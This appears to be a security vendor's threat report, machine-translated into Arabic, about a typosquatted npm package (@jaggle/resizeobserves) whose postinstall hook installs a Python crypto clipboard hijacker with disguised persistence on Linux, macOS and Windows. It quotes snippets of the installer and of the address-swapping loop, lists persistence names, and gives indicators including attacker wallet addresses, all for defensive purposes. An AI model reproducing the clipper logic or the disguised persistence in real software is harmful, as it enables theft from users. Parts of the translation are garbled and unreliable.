RuntimeBroker npm Typosquat Plants Crypto Clipper

RuntimeBroker: أداة npm Typosquat تقوم بتثبيت أداة قص العملات المشفرة ذات 40 سلسلة كأداة مساعدة لوقت تشغيل النظام عبر أنظمة التشغيل المختلفة.

TL؛ DR

في 21 مايو 2026، ناشر npm jaggle تم إصدار تسع نسخ (1.0.0 من خلال 1.0.8) من @jaggle/resizeobserves في غضون ساعتين تقريباً.

الحزمة عبارة عن خطأ مطبعي في تسمية الحزمة الشرعية @juggle/resize-observer polyfill - حزمة مستخدمة على نطاق واسع مع ملايين التنزيلات الأسبوعية - ولكنها لا تتضمن أي تطبيق فعلي لـ ResizeObserver.

بدلاً من ذلك، فإن الحزمة خطاف ما بعد التثبيت يقوم بتثبيت حمولة بايثون مجمعة، ويسجل استمرارية كوسيط وقت تشغيل يبدو أصليًا للنظام الأساسي، وينشر برنامج اختطاف الحافظة متعدد المنصات الذي يستهدف معاملات العملات المشفرة.

لينكس يظهر الإصرار على شكل python3-dbus-helper, ماك as com.apple.python.runtimeو ويندوز as PyRuntimeBroker.

تقوم الحمولة بمراقبة الحافظة باستمرار بحثًا عن عناوين المحافظ عبر أكثر من 40 سلسلة كتل ويقوم باستبدال العناوين المنسوخة بمحافظ يتحكم بها المهاجمون دون أن يشعروا بذلك.

يعمل البرنامج الخبيث محليًا بالكامل دون أي بنية تحتية للتحكم والسيطرة الخارجية، مما يجعل استبدال الحافظة نفسه آلية لتسريب البيانات.

المؤشر الرئيسي للاختراق هو اسم الحزمة نفسه: @jaggle/resizeobserves — لاحظ حذف حرف العلة في كلمة "jaggle" وإضافة حرف "s" في كلمة "resizeobserves".

الخطورة: عالية.

الهجوم: كيف يعمل

npm:@jaggle/resizeobserves لا يبدو كبرنامج خبيث عند استخدامه بشكل عادي عرض npm. لها README.md هذا هو نص ملف README الحرفي لـ npm:@juggle/resize-observer — نفس نماذج التعليمات البرمجية، نفس تعليمات الاستخدام، نفس import { ResizeObserver } from '@juggle/resize-observer' المراجع منتشرة في كل مكان. الانتحال الأدبي كامل لدرجة أن أي شخص يلقي نظرة سريعة على الوثائق سيفترض أنه يقرأ وثائق الحزمة الأصلية.

استخدم package.jsonعلى النقيض من ذلك، فهو قليل: لا مستودع حقل، واحد بن نقطة الدخول إلى bin/clipboard-guardian.js، و بعد التثبيت نص برمجي يقوم بتشغيل node npm-install.jsتشير أمثلة "الاستخدام الأساسي" في ملف README إلى تطبيق JavaScript غير موجود في أي مكان ضمن الملف المضغوط. ملف JavaScript الوحيد في الحزمة هو برنامج التثبيت.

المرحلة 1 - يقوم npm postinstall بتهيئة حمولة بايثون

npm-install.js وهو مُدرك للمنصة. يحدد موقع بذرة ملف تنفيذي على طول مسار بحث ثابت (/usr/bin/pip3, /usr/local/bin/pip، يتراجع إلى python3 -m pipيقوم بتثبيت حزمة بايثون المجمعة من دليل ملف tarball، و - على نظام لينكس - يقوم بسحب xclip or xsell بواسطة الرابطة بين الحصول على, بكمن أو DNF إذا لم يكن أي منهما موجودًا بالفعل:

javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) {   run("apt-get install -y xclip 2>/dev/null") ||   run("pacman -S --noconfirm xclip 2>/dev/null") ||   run("dnf install -y xclip 2>/dev/null"); }  if (   !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) &&   !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); 

استخدام –break-system-packages هذا الأمر مقصود: إذ تُشحن توزيعات لينكس الحديثة بايثون مع تفعيل علامة البيئة المُدارة خارجياً (PEP 668)، مما يمنع تثبيت pip على مستوى الموقع افتراضياً. ويُجبر برنامج التثبيت على إتمام عملية التثبيت.

يدعم البرنامج النصي أيضًا صلاحيات المستخدم الجذر (sudo). عندما يكون معرّف المستخدم (uid) قيد التشغيل هو نتيجة لـ sudo npm install، النص يقول SUDO_USER ويدفع إلى getentpasswd لتجد ال حقيقي ثم يكتب ملفات الثبات الخاصة به في دليل المستخدم الرئيسي بدلاً من داخله. / الجذر. تكون خاصية الثبات خاصة بكل مستخدم، وليست على مستوى النظام بأكمله.

المرحلة الثانية - استمرارية البيانات عبر أنظمة التشغيل المختلفة تحت أسماء وسيط وقت التشغيل

بعد تثبيت حزمة بايثون، يقوم البرنامج النصي بتسجيل إدخال بدء التشغيل التلقائي باسم مختلف على كل نظام تشغيل:

  • لينكس — وحدة مستخدم systemd في ~/.config/systemd/user/python3-dbus-helper.serviceالوحدة الوصف is مساعد وقت تشغيل بايثون D-Busيحاول البرنامج النصي أيضًا تمكينه عبر systemctl –user enable، والعودة إلى رابط رمزي يدوي تحت default.target.wants/ عند فشل systemctl. إذا كان البرنامج يعمل تحت sudo، فسيتم التبديل إلى sudo -u systemctl –user، مع XDG_RUNTIME_DIR قم بضبط الإعدادات بحيث تعمل مكالمة ناقل المستخدم.
  • ماك — ملف plist الخاص بـ LaunchAgent في ~/Library/LaunchAgents/com.apple.python.runtime.plist مع RunAtLoad=true و KeepAlive=trueثم يتم تحميلها عبر launchctl load.
  • ويندوز — مهمة مجدولة باسم PyRuntimeBroker، يتم تشغيلها عند تسجيل الدخول، مع حد زمني للتنفيذ يساوي صفرًا (أي بدون مهلة)، مسجلة عبر PowerShell.

تبدو الأسماء الثلاثة جميعها موثوقة للوهلة الأولى. python3-dbus-helper يتبع اصطلاح التسمية الخاص بتكامل Python-D-Bus الشرعي على أجهزة سطح المكتب التي تعمل بنظام Linux. com.apple.python.runtime يحاكي هذا الأسلوب نظام تسمية DNS العكسي الخاص بشركة Apple لخدماتها الخاصة. وسيط وقت التشغيل بايثون يُحاكي نظام ويندوز RuntimeBroker.exe — خدمة مايكروسوفت حقيقية وموقعة تُسهّل طلبات الأذونات لتطبيقات UWP. لا تُعدّ أيٌّ من هذه الخدمات خدمات حقيقية من Apple أو Microsoft أو Python في هذا السياق، بل هي مجرد أداة يستخدمها مدافع لإجراء فحص بصري سريع لـ systemctl –user list-units or الحصول على لScheduledTask من غير المرجح أن يرتجف.

المرحلة 3 - خاطف الحافظة

تم تثبيت حمولة بايثون في clipboard_guardian/guardian.pyيقوم هذا البرنامج بتشغيل حلقة لا نهائية لاستطلاع حافظة النظام كل 400 مللي ثانية. وفي كل دورة، يقوم بسحب محتويات الحافظة الحالية عبر pyperclip.paste() ويقوم بتشغيلها مقابل قائمة تضم أكثر من أربعين تعبيرًا عاديًا مجمعًا مسبقًا تغطي تنسيقات عناوين المحافظ لـ Ethereum و Bitcoin و Monero و Solana و TRON و TON و Ripple و Litecoin و Dogecoin و Polkadot و NEAR و Cosmos و Algorand و Stellar و Cardano و Bitcoin Cash و Dash و Zcash و Aptos و Sui و Tezos و MultiversX و Harmony و Terra و Injective و Osmosis و Kava و Celestia و Nano و Filecoin و Ronin و Ergo و DigiByte و Hedera و BNB Smart Chain والعديد من العملات الأخرى التي تم وضعها بشكل افتراضي ولكنها فارغة في التكوين الافتراضي (Sei و IOTA و Kaspa و Flow و Nervos و Decred و Ravencoin).

عندما يتم العثور على تطابق، يقرأ البرنامج النصي عنوان المهاجم لتلك السلسلة من ~/.config/clipboard-guardian/config.json (أو ما يعادلها من المنصات) ويستبدل النص الموجود في الحافظة بالنص البديل:

python result = find_address_in_text(current, config) if result is None:     time.sleep(POLL_INTERVAL)     continue  chain, found_addr = result my_addr = config[chain] if found_addr == my_addr:     time.sleep(POLL_INTERVAL)     continue  new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) 

لا يوجد أي إشارة شبكة. لا يتصل برنامج التجسس بالخادم، ولا يسجل الأجهزة المصابة، ولا يستخرج أي بيانات. إن عملية الاستخراج هي عملية الاستبدال نفسها: فعندما ينسخ المستخدم عنوان مستلم من واجهة محفظته ويلصقه في مربع حوار الإرسال، فإن العنوان الملصق يعود إلى المشغل. تُفقد الأموال داخل الشبكة، دون أن يلاحظها المستخدم.

ما الجديد هنا؟

تبرز بعض التفاصيل مقارنةً بقالب أداة قص العملات المشفرة العامة:

1. تحويل npm إلى بايثون. معظم أدوات قص العملات المشفرة التي نراها في npm هي عبارة عن جافا سكريبت خالصة، وغالبًا ما تكون مشفرة باستخدام _0x تدوير المصفوفة أو eval(atob(…)) تستخدم هذه العينة ملف npm المضغوط كغلاف توصيل لحزمة بايثون - بايثون نظيف - وتترك لـ pip مهمة تثبيت التبعيات (com.pyperclip, psutil، اختياري معرف com لهذا التطبيق هو com.setproctitle) المعلن عنها في الحزمة pyproject.tomlلا توجد أيّة تقنيات تشفير جافا سكريبت يجب التغلب عليها. برنامج القصّ نفسه مكتوب بلغة بايثون بسيطة وسهلة القراءة.

2. تم اختيار تسميات استمرارية نظام التشغيل الثلاثي بناءً على مدى معقوليتها. تقوم العديد من برامج التثبيت متعددة المنصات بتسجيل خاصية الثبات تحت أسماء عامة (خدمة التحديث, helper.plist). يحرص هذا المثال على اختيار تسميات تُشابه تسميات وسطاء وقت التشغيل الأصليين لكل نظام تشغيل. التسمية هي المحاولة الوحيدة للتخفي - لا يوجد روتكيت، ولا إخفاء في مساحة المستخدم، ولا إخفاء للمسارات. الرهان هو أن المدافعين نادرًا ما يُجرون عمليات تدقيق. ~/.config/systemd/user/ وأن خدمة تسمى python3-dbus-helper لن يبرز في مراجعة عابرة.

3. إن التمويه تحت مسمى العملية حقيقي، لكن التحليل المضاد كامن. تحدد حمولة بايثون _disguise_process() دالة تقوم بتعيين عنوان العملية عبر معرف com لهذا التطبيق هو com.setproctitle (لينكس/ماك أو إس) أو SetConsoleTitleW (ويندوز) — و الأساسية() نعم، هذا ما يُسمى به. سكرتير خاص سوف تظهر python3-dbus-helper بدلا من python3 …/guardian.pyومع ذلك، فإن نفس الوحدة النمطية تُعرّف is_monitor_running() دالة تُحصي أدوات مراقبة العمليات المعروفة (HTOP, بي توب(مدير المهام، مراقب النشاط، مخترق العمليات، مراقب الموارد، مراقب أنظمة جنوم / كيدي / إكسفس / ماتي، وما إلى ذلك) — و الأساسية() لا يتم استدعاؤها مطلقًا. تعمل حلقة الاستبدال بشكل دائم، سواءً كان لدى المستخدم برنامج مراقبة العمليات مفتوحًا أم لا. هذه الدالة عبارة عن كود غير مستخدم في الإصدار المُصدَر. على الأرجح أنها بقايا من إصدار سابق، أو هيكل أساسي لميزة لم يتم تفعيلها بعد. في كلتا الحالتين، فإن ثغرة الحماية من التحليل في الحمولة المنشورة هي إعادة تسمية عنوان عملية واحدة، وليست التحايل على برنامج مراقبة العمليات النشط.

4. سلوك دمج التكوين المجمّع. npm-install.js يكتب قائمة المحفظة الافتراضية إلى ~/.config/clipboard-guardian/config.json وإذا كان ملف الإعدادات موجودًا بالفعل، فإنه يدمج أي مفاتيح تكون قيمتها الحالية فارغة. وهذا يعني أن المستخدم الذي سبق أن أصيب بالفيروس وقام بتنظيف الإعدادات جزئيًا - على سبيل المثال، عن طريق إفراغ... ethereum سيتم إعادة ملء هذه القيمة مع كل عملية تثبيت لاحقة لحزمة خبيثة. لا توجد عملية تنظيف لملف الثبات في أي مسار برمجي.

التاريخ / الوقت (UTC) الحدث/الفعالية
2026-05-21 18:50:32 @jaggle/resizeobserves@1.0.0 نشرت.
2026-05-21 19:55:55 1.0.1 تم النشر — تم رصد النسخة الأولى بواسطة فحص خارجي.
2026-05-21 19:58:10 1.0.2 نشرت.
2026-05-21 20:05:03 1.0.3 نشرت.
2026-05-21 20:09:24 1.0.4 نشرت.
2026-05-21 20:13:48 1.0.5 نشرت.
2026-05-21 20:41:52 1.0.6 نشرت.
2026-05-21 20:43:56 1.0.7 نُشر — يضيف try/catch غلاف حول خطوة كتابة إعدادات المحفظة في npm-install.js.
2026-05-21 20:46:15 1.0.8 تم النشر — تم تغيير اسم برنامج التثبيت npm-install.jsnpm-install.cjs (محتوى متطابق على مستوى البايت).
2026-05-22 تم نشر الأحكام والقرارات الصادرة عن اللجنة الأولمبية الدولية. ولا تزال النسخ موجودة في السجل وقت النشر (مستمرة).

يُعدّ إنجاز تسع نسخ في ساعة وست وخمسين دقيقة إنجازًا سريعًا حتى بالنسبة لشخصٍ يُعاني من أخطاء إملائية. يتوافق هذا النمط مع... حملة النشر والحرق — قم بإغراق سجل النظام تحت مُعرّف واحد، ودع عملية الكشف تأخذ مجراها، ثم انتقل إلى مُعرّف جديد بمجرد إزالة إصدار واحد. التغييرات الظاهرة خلال عملية التشغيل تجميلية: الإصدار 1.0.1 أضاف صراحةً /usr/bin/pip3مسارات نمطية لقائمة بحث pip (توافق sudo)، الإصدار 1.0.7 غلّف كتابة wallet-config في try/catch، والإصدار 1.0.8 أعاد تسمية المثبّت من . شبيبة إلى .cjs مع الحفاظ على محتواه متطابقًا على مستوى البايت. .cjs إعادة تسمية المسارات مع تحذيرات npm بشأن حل الوحدات النمطية الغامض في الحزم التي لا تحتوي على تعريف صريح "اكتب" قد يكون هذا محاولةً لكبح الضوضاء أثناء التثبيت التي قد تلفت الانتباه. حمولة بايثون - الجزء الوحيد الذي يقوم بالسرقة فعليًا - لم تتغير في جميع الإصدارات التسعة.

مؤشرات التسوية

الباقات

النظام الإيكولوجي فئة الإشتراك إصدارات الحالة
الآلية الوقائية الوطنية @jaggle/resizeobserves 1.0.0 من خلال 1.0.8 تم النشر وقت النشر؛ تم طلب إزالة المحتوى.

الملفات والتجزئات

مسار ملاحظة
clipboard_guardian/guardian.py
(md5 f7935c2c82bc881288611ab6cd634f17)
متطابقة في جميع النسخ التسع المنشورة (1.0.0 من خلال 1.0.8). حمولة كليبر.
npm-install.js (1.0.0 – 1.0.7)
npm-install.cjs (1.0.8)
برنامج تثبيت دائم؛ نفس السلوك من البداية إلى النهاية. 1.0.7's .js و 1.0.8's .cjs متطابقة على مستوى البايت.
~/.config/clipboard-guardian/config.json حزمة إعدادات استمرارية نظام لينكس وحزمة المحفظة.
~/Library/Application Support/clipboard-guardian/config.json إعدادات استمرارية نظام macOS وحزمة المحفظة.
%APPDATA%\clipboard-guardian\config.json إعدادات استمرارية نظام ويندوز وحزمة المحفظة.
~/.config/systemd/user/python3-dbus-helper.service استمرارية التشغيل التلقائي لنظام لينكس.
~/Library/LaunchAgents/com.apple.python.runtime.plist استمرارية برنامج LaunchAgent في نظام macOS.
~/Library/Logs/com.apple.python.runtime.log سجل الإخراج القياسي/الخطأ القياسي لنظام macOS الخاص بالوكيل.
Scheduled Task PyRuntimeBroker مهمة بدء التشغيل التلقائي لنظام التشغيل ويندوز (AtLogOn(بدون مهلة زمنية).

المؤشرات السلوكية

سيجنل الوصف
pip install --break-system-packages من npm postinstall يفرض تثبيت بايثون على مستوى الموقع متجاوزًا حماية PEP 668.
apt-get install -y xclip (أو باك مان/dnf) يقوم بتثبيت أدوات الحافظة على نظام لينكس أثناء تثبيت الحزمة.
python3-dbus-helper.service وحدة مستخدم systemd تم تسجيل الثبات تحت اسم مساعد وقت التشغيل ذي المظهر المعقول.
com.apple.python.runtime وكيل الإطلاق تسمية الثبات خارج مسارات نظام أبل الشرعية.
PyRuntimeBroker مهمة مجدولة برنامج تشغيل ويندوز وهمي لا يحتوي على مصدر تثبيت شرعي.
عملية بايثون بعنوان python3-dbus-helper استيراد pyperclip و psutil عدم تطابق سلوكي بين اسم العملية المعروض والمكتبات المستوردة.
تتغير الحافظة بعد حوالي 0.4 ثانية من نسخ عنوان المحفظة سلوك التوقيع لاستبدال عنوان العملة المشفرة.

مجموعة محافظ المهاجمين (قائمة مطاردة المدافعين)

يتم تضمين قائمة المحافظ بشكل ثابت في الكود البرمجي. npm-install.js و clipboard_guardian/guardian.pyيمكن للمدافعين استخدام القائمة كقائمة حظر (التعامل مع أي تحويل إلى هذه العناوين من محافظ الشركات على أنه مشبوه) ومفتاح بحث (التعامل مع وجود أي من هذه السلاسل في ملف تكوين غير مصادق عليه، أو عنصر بناء، أو جهاز مطور كمؤشر على الإصابة).

حزمة محفظة المهاجم

سلسلة العنوان
إيثيريوم / بي إس سي 0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18
رونين (EVM) ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18
إلى البيتكوين bc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y
بيتكوين النقدية bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt
لايتكوين ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe
دجكوين DNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy
اندفاع XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS
Zcash t1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M
DigiByte DPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH
Monero 42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf
الاستلقاء تحت أشعة الشمس DWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5
TRON TVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2
TON UQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr
تموج r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H
القماش المنقط 1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG
قريب 5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364
كون cosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e
تناضح osmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t
سيليستيا celestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5
الحقن inj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh
الكافا kava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux
الانسجام one19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a
أرض terra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x
Algorand XSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI
ممتاز GACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE
كاردانو addr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f
الكون المتعددX erd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0
أبتوس 0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e
سوي 0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78
نانو nano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn
Filecoin f1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui
Tezos tz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk
إرجو 9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA
الخضيرة 0.0.10488092

السلاسل التي تغطيها التعابير النمطية ولكن بها خانات محفظة فارغة في الإعدادات الافتراضية - مثل Sei وIOTA وKaspa وFlow وNervos وDecred وRavencoin وBeacon-Chain BNB - لا يتم استبدالها بشكل فعلي في هذا الإصدار، ولكن يتم رصدها. لذا، تعامل معها ضمن نطاق المراقبة وليس نطاق الاستبدال.

الإسناد والتحفيز

لا توفر الحملة معلومات كافية لتحديد مصدرها. لم نتمكن من تأكيد هوية المشغل. ما يمكننا تسجيله:

  • بيانات الناشر الوصفية. حساب npm جاجل يدرج بريده الإلكتروني على النحو التالي: olgascarlet@deltajohnsons.com. المجال deltajohnsons.com لا يُشير إلى هوية مؤسسية يُمكننا التحقق منها. لا يُظهر حساب npm أي تأكيد عبر البريد الإلكتروني ولا SCM التحقق. لا يوجد حساب عام مرتبط على منصة GitHub.
  • حقل المستودع. استخدم package.json لا يحمل مستودع المجال. الشرعي npm:@juggle/resize-observer يشير إلى مستودع GitHub حقيقيّ يحتوي على آلاف النجوم والمشاكل النشطة. يُعدّ غياب رابط المستودع أسرع مؤشر مرئي على واجهة مستخدم npm.
  • ملف README الخاص بالسرقة الأدبية. ملف README الخاص بالحزمة هو الملف الشرعي @juggle/resize-observer ملف README بايتًا بايتًا، بما في ذلك استيراد أمثلة تشير إلى @juggle/resize-observer نفسه (وليس حزمة النشر). لم يكلف المشغل نفسه عناء إعادة كتابة عمليات الاستيراد - وهي إشارة شائعة إلى أن ملف التعليمات قد تم نسخه، وليس تعديله.
  • لا توجد بنية تحتية يمكن الاعتماد عليها. لا يوجد نقطة تحكم/تحكم، ولا بحث DNS، ولا عنوان IP. السلوك الخبيث مُغلّف بالكامل في أداة القص المحلية بالإضافة إلى حزمة المحفظة المُضمّنة في الكود. هذا يجعل التبديل القائم على النطاق أو رقم النظام المستقل غير متاح. يجب على المدافعين الذين ينتقلون بين الحملات مطابقة المحافظ مع أي أداة قص سابقة لديهم؛ إعادة استخدام محفظة عبر الحزم هي أسهل طريقة للربط بين الحملات.
  • اختيار الاسم. @jaggle/resizeobserves يختلف بحرف واحد عن @شعوذ ونقطة واحدة تختلف عن النبرة المعروفة مراقب تغيير الحجمالمسافة الإجمالية للتعديل هي رمزان. هذا تصادم بصري مقصود، وليس مجرد انحناء عشوائي.

الدافع، القائم على سلوك الحمولة: تحقيق الربح البحت من خلال استبدال الحافظة بشكل انتهازي. لا يوجد جمع لبيانات الاعتماد، ولا تحديد لبصمة الجهاز، ولا قراءة لمتغيرات البيئة. لا يهم المشغل هوية الضحية، بل يهمه أن توجه عملية نقل البيانات التالية للضحية إلى أحد العناوين المدرجة. تغطية السلاسل الأربعين هي نموذج اليانصيب عمليًا: نشر واسع النطاق، على أمل أن تصل حزمة بيانات واحدة عالية القيمة مرة واحدة لكل N عملية تثبيت.

يبدو أن المشغل غير مكترثٍ بإجراءات الإزالة. نشر تسع نسخ خلال ساعتين ضمن نفس النطاق يُشير إلى عملية نشر سريعة ومُختصرة: زيادة حجم التسجيل إلى أقصى حد قبل أن يُصبح تأخير الإزالة عائقًا، ثم الانتقال إلى الخطوة التالية. لم نلاحظ ذلك. @jaggle إعادة النشر ضمن نطاق جديد وقت كتابة هذا التقرير، لكننا نتوقع نطاقات مشابهة (@jaggie, @شعوذ-, @هز خفيف) ستظهر خلال الأيام القادمة إذا كان المشغل لا يزال نشطًا.

 التأثير

لا يمكن تحديد التأثير بالقيمة النقدية الحقيقية باستخدام مجموعة البيانات الحالية. لا يقوم برنامج القص بتسجيل أي بيانات عن بُعد، ولم يتم رصد المحافظ التي تتلقى تحويلات بديلة حتى تاريخ انتهاء التحليل (وتشمل خطتنا إجراء مسح لاحق للسلاسل المدرجة). npm:@juggle/resize-observer يبلغ متوسط ​​عدد التنزيلات الأسبوعية سبعة أرقام - وهو هدف ذو حركة مرور عالية لبرامج انتحال أسماء النطاقات - وكانت الحزمة الخبيثة متاحة لمدة أقل من 24 ساعة وقت الكشف عنها، مما يحد من عدد السكان المعرضين للخطر ولكنه لا يقضي عليهم تمامًا.

لا يُعدّ نطاق الانفجار الذي يستحق التتبع هو التنزيلات المباشرة لـ @jaggle/resizeobserves — من المرجح أن تكون هذه عمليات تثبيت صغيرة. إنها **عمليات تثبيت متعدية**: يقوم مطور بإضافة الحزمة إلى مشروع تجريبي، ثم تشغيلها. تركيب npmثم يتم تجاهل عملية تثبيت البرنامج تمامًا. كل جهاز قام بمعالجة عملية ما بعد التثبيت لديه الآن برنامج تجسس على الحافظة لكل مستخدم يعمل تلقائيًا، بغض النظر عما إذا كان المشروع لا يزال موجودًا على القرص أم لا. إزالة دليل الحزمة من node_modules لا يزيل هذا الثبات.

الأنماط الناشئة

يجسد هذا المشروع اتجاهين رئيسيين.

npm كغلاف لتسليم حمولة بايثون. ملف npm المضغوط عبارة عن برنامج تثبيت من أربعة أسطر؛ أما البرنامج الأساسي فهو بايثون، الذي يتم تثبيته على مستوى النظام بواسطة بذرة من الدليل المضمن. هذا ليس جديدًا - فقد رأينا حزم npm تحذف بايثون من قبل - ولكنه أصبح شكلاً شائعًا بشكل ملحوظ في حملات استغلال العملات المشفرة. الميزة للمشغل مزدوجة: مكتبات الحافظة في بايثون (com.pyperclip (أولها) هي أنظف وأكثر توافقًا مع مختلف المنصات من نظيراتها في جافا سكريبت، و معظم الماسحات الضوئية الآلية لـ npm تُعطي وزنًا كبيرًا لملفات JavaScript و Python .py قم بتجميعها بشكل خفيف. التكلفة هي أن مساحة التركيب تكون أعلى بكثير - جديدة تثبيت نقطة يصعب إخفاؤه على جهاز المطور الذي لا يستخدمه عادةً تثبيت نقطة أثناء تركيب npm.

الأسماء الأصلية للمنصة هي الوسيلة الوحيدة للتخفي. تخلت العديد من برامج التجسس الحديثة وبرامج سرقة الحمولة الصغيرة عن التمويه على مستوى الكود تمامًا لصالح علامات استمرارية تبدو شرعية. python3-dbus-helper, com.apple.python.runtimeو وسيط وقت التشغيل بايثون هذه أمثلة نموذجية - أسماء يتجاهلها مدققو الأمن عادةً في قائمة تضم أربعين خدمة للمستخدم. هذا شكلٌ رخيصٌ ودائمٌ من أشكال التخفي: تتم إزالة كل حزمة على حدة، لكن ملفات الثبات تبقى بعد الإزالة، ولن تُزال خدمةٌ تحمل اسم مكونٍ حقيقيٍّ من مكونات النظام الأساسي إلا من خلال تدقيقٍ صريح.

ما ينبغي على المدافعين فعله

  • قم بمراجعة الملفات التالية: ~/.config/systemd/user/، ~/Library/LaunchAgents/، و Get-ScheduledTask الناتج على أجهزة المطورين بالنسبة للإدخالات المدرجة في مؤشرات الاختراق. إزالة حزمة npm تُبقي هذه الإدخالات في مكانها؛ يجب إزالتها يدويًا.
  • تحويلات الكتل إلى عناوين المحفظة المدرجة عند حدود خزائن الشركات ومحافظ التمويل اللامركزي حيث تتوفر إمكانية إدراج العناوين المسموح بها.
  • ابحث عن الملف ~/.config/clipboard-guardian/config.json (وما يعادلها من منصات) عبر أسطول أجهزة المطورين. وجود الملف دليل قاطع على الإصابة بغض النظر عن إصدار الحزمة التي قامت بتوصيله.
  • ابحث في مجلد node_modules عن الملف clipboard_guardian/guardian.py في لقطات ذاكرة التخزين المؤقت للبناء التي قد تكون سابقةً لتاريخ الإزالة. قيمة MD5 للملف ثابتة عبر جميع الإصدارات التي تمت مراجعتها.
  • Lockfile-pin @juggle/resize-observer (الحزمة الأصلية) حتى لا تتمكن عمليات التثبيت المستقبلية من الوصول إلى أي شيء آخر بسبب خطأ في كتابة حرف واحد، خاصة في سير العمل الذي لا يعتمد على ملفات القفل مثل npx.
  • تعامل مع أي عملية تثبيت لاحقة لـ npm تستدعي pip install. باعتبارها شديدة الخطورة قيد الإنشاء-pipeline لا يوجد سبب مشروع لاحتياج حزمة npm إلى pip أثناء التثبيت — أدوات بايثون توزع أدوات بايثون.
  • ابحث في بيانات المراقبة المشابهة لـ process_iter() عن العمليات المسماة python3-dbus-helper التي تستورد pyperclip — عدم تطابق التمويه (مساعد D-Bus يحمل مكتبة الحافظة) هو أنظف مؤشر سلوكي لدينا.
  • قم بتدوير عناوين المحافظ الإلكترونية التي تم لصقها من الأجهزة المصابة. يُعرّض برنامج اختطاف الحافظة المسار بين واجهة مستخدم المحفظة ووجهة اللصق للخطر؛ وقد يتم تغيير العناوين المنسوخة أثناء الإصابة دون علم المستخدم. لذا، يجب التعامل مع أي بيانات تُرسل خلال فترة الإصابة على أنها قد تكون موجهة إلى وجهة خاطئة.

الخلاصة: الثبات يدوم بعد الإزالة. سيتم حذف السجل في نهاية المطاف @jaggle/resizeobserves في جميع الإصدارات التسعة؛ لن تقوم وحدة systemd و LaunchAgent والمهمة المجدولة بإزالة نفسها.

مراجع حسابات

  • @juggle/resize-observer على npm — الحزمة الأصلية التي ينتحل هذا البرنامج المكتوب بشكل خاطئ شخصيتها؛ مفيدة كأساس لنسخ ملف README حرفيًا.
  • بيانات تعريف سجل @jaggle/resizeobserves — نشر الطوابع الزمنية للإصدارات التسعة الخبيثة، وهو أمر مفيد لتحديد التسلسل الزمني الجنائي.
أدوات تحليل التركيبات البرمجية sca
إعطاء الأولوية للمخاطر التي تتعرض لها برامجك، ومعالجتها، وتأمينها
احصل على حسابك المجاني.
أي بطاقة ائتمان.

قم بتأمين تطوير البرامج الخاصة بك وتسليمها

مع مجموعة منتجات Xygeni